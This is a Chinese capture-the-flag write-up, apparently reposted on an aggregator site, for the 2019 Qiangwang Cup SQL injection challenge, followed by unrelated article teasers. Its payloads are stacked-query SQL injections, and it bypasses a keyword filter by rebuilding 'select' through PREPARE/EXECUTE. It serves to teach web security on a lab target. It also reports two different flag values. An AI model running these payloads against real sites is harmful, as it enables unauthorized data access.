[强网杯 2019]随便注 1【SQL注入】解析过程

news/2024/11/8 14:38:15/

1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。

2.提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag

 3.那么存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了

 4.既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字

5.查看数据库名:1';show databases;#

6.查看数据表:1';show tables;#

7.我们先来看一下第一个表1919810931114514的表结构,有两种方式:

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

注意,如果tableName是纯数字,需要用`包裹,比如1';desc `1919810931114514`;#

获取到字段名为flag:

 

 8. 因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#得flag:flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}

 FLAG:flag{ab1f3d33-af30-45b8-b1e9-f5a9915e4676}


http://www.ppmy.cn/news/109996.html

相关文章

高并发线程池实现_Nginx 线程池剖析

高并发线程池实现_Nginx 线程池剖析 并发基本概念处理事件过程“阻塞”怎么办?多线程能解决问题?解决方案 → 线程池技术线程池实现考虑线程池实现核心组件Nginx线程池代码解析并发基本概念 所谓并发编程是指在在同一台计算机上“同时”处理多个任务。并发是在同一实体上的多…

C语言结构体大小

C语言结构体求大小 引入一个知识,我这里会写的比较少,大家可以打开自己的课本查看。 1、结构体变量的首地址,必须是结构体变量中的“最大基本数据类型成员所占字节数”的整数倍。(对齐) 2、结构体变量中的每个成员相…

基于Android应用开发实现UWB(超宽带)通信

什么是超宽带UWB 超宽带通信是一种无线电技术,专注于设备之间的精确测距(测量位置的精度为 10 厘米)。这种无线电技术可以使用低能量密度进行短距离测量,并在大部分无线电频谱上执行高带宽信号传输。UWB 的带宽大于 500 MHz(或超过 20% 的小数带宽)。 从 Android 13 开…

linux环境, nginx https配置

在 Linux 环境下,配置 Nginx 的 HTTPS 需要以下步骤: 1. 安装 OpenSSL sudo apt-get install openssl 2. 生成 SSL 证书和私钥 sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/ngi…

【编译、链接、装载二】/lib/ld64.so.1: bad ELF interpreter: 没有那个文件或目录

【编译和链接二】bash: ./test.out: /lib/ld64.so.1: bad ELF interpreter: 没有那个文件或目录 一、问题起因二、ldd查看三、解决方案一:使用gcc链接四、查找其他解决方案五、解决方案二:软链接 bash: ./test.out: /lib/ld64.so.1: bad ELF interpreter…

MySQL进阶 -存储引擎

目录 存储引擎MySQL的体系结构存储引擎简介InnoDB存储引擎MyISAM存储引擎Memory存储引擎InnoDB,MyISAM和Memory的区别存储引擎的选择小结 存储引擎 MySQL的体系结构 MySQL的体系结构图: MySQL服务端的体系结构(MySQL Server)&am…

CAPL(vTESTStudio) - CAPL、CANoe、Panel联动

目录 一、变量设置 ① dbc文件中的Environment variables变量

01- 线程和进程,并发和并行(Windows系统)

要点: 进程是操作系统资源分配的基本单位,而线程是处理器任务调度和执行的基本单位。 参考文章:Python3多进程(mutiprocessing) 一 线程和进程的区别 主要介绍了线程和进程的区别及Python代码实例,本文给出了一个python的脚本让一个进程中…